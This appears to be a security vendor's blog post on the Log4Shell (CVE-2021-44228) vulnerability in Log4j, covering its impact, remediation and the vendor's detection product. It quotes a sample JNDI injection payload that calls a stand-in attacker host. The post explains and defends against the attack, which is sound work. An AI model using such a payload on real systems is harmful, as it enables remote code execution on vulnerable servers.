Security teams worldwide are racing to contain the fallout from a critical vulnerability in the widely-used, open source logging library Log4j. The vulnerability, called Log4Shell, affects a huge number of ubiquitous apps, websites, and services, and as we get further into remediation, we've seen mixed results on the progress so far.
In this post, we’ll provide a quick overview of Log4Shell: what it is, its impact, and recommendations for security teams. You can see the full technical breakdown here. For non-Wiz customers, get a rapid assessment of Log4Shell in your environment. For Wiz customers, Wiz detects Log4Shell across all clouds and workloads in your environment and provides remediation guidance. You can get an immediate overview of your risk posture by logging into the Wiz Threat Center. For additional threat analysis, we recommend you visit the documentation for our Log4shell in-product advisory, and read the section “Detecting Log4Shell with Wiz” below.
CVE-2021-44228, or Log4Shell, is a critical remote code execution (RCE) vulnerability in a highly popular Java library used in millions of applications as part of their logging infrastructure. As eloquently described by this xkcd webcomic, this library sits at the core of almost every Java application built in recent years:
What happens behind the scenes is that when a server logs data containing the malicious payload: ${jndi:ldap://attacker[.]com/a} in the request, the Log4j vulnerability is triggered and the server makes a request to attacker.com via the Java Naming and Directory Interface (JNDI). This allows the attacker to inject a Java class payload and practically execute arbitrary code on the logging server.
Wiz research shows that more than 89% of all environments have vulnerable Log4j libraries, and the Log4Shell vulnerability is already being exploited in the wild. As can be seen in this Github repo, there is a long list of providers impacted by the RCE. Here's why it's such a big deal:
The attack surface is gigantic. Log4Shell is an app-layer vulnerability that doesn’t require the attacker to have any privileged access. All you need is the ability to manipulate logs, which can be achieved by taking simple steps within the app, such as creating a chat message or adding an object with a specific name. Since this a logging library, almost any user activity might affect it!
It penetrates internal servers and can't be blocked by perimeter defenses. Unlike the usual vulnerabilities that impact externally exposed servers, Log4Shell can infiltrate internal servers directly. It passes through all company defenses as it is considered legitimate application traffic. The impacted server may be internal, with no direct route to the internet. In the extreme case, consider this: even the NSA reverse engineering tool was vulnerable, so a researcher could be going through a sample malware code and get infected by Log4Shell.
It allows for immediate server takeover. The attacker simply runs their Java module on the server and gets immediate RCE capabilities. This is because JNDI is working as intended here! It’s kind of akin to a SQL injection, in that the problem is not memory corruption or stack overflow or other unintended behavior, but rather that the input to JNDI is unvalidated and can therefore be used for malicious purposes.
The opportunities for exploitation are vast. Malicious actors have already started exploiting the vulnerability through the network vector by bombarding the internet with HTTP packets containing a payload with the Log4Shell exploit.
All Log4j2 versions prior to 2.15.0 are affected by the Log4Shell vulnerability via the ldap JNDI parser. The first step for security teams is to identify all applications using Log4J running across your environment. As @dcuthbert tweeted, this is a complex task:
In order to get full coverage, it is important to scan all workloads, including VMs running legacy apps, containers running on Kubernetes or other orchestration platforms, and even serverless code running on cloud functions. Note that Log4J may be deployed as a package or embedded into the app itself, so the scanner must include support for both.
For remediation, we strongly recommend that you upgrade your Log4j versions to log4j-2.15.0 or later. However, there are workarounds that can be used if upgrading Log4j immediately is not an option. Specifically for versions 2.10.0 and above – a temporary solution is to run the server with -Dlog4j2.formatMsgNoLookups=True
Wiz provides full coverage for the Log4Shell vulnerability across all covered clouds and workloads. The detection engine can detect both repository-based installations of the Log4j package and instances of the library embedded within applications.
Customers can simply login to Wiz and check the Wiz Threat Center to see their risk posture for the Log4Shell vulnerability.
Additionally, customers can use the Wiz Security Graph to focus remediation effort on the workloads that are at greatest risk (e.g. workloads that are effectively exposed to the internet or ones that have access to sensitive resources).
For the full detail on available Wiz detections for Log4Shell, check out the Wiz Threat Center advisory here.
No, Wiz is not affected by the vulnerability. Luckily, we aren’t using Java 😊 -- we even used Wiz to quickly validate that!
We hope this serves as a helpful overview of Log4Shell and provides some guidance on the best immediate steps to take. For Wiz customers, the product advisory will be continuously updated with the latest guidance. For non-Wiz customers, get a rapid assessment of Log4Shell in your environment. Stay tuned for updates!
If you have further questions, please contact us at research@wiz.io.
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。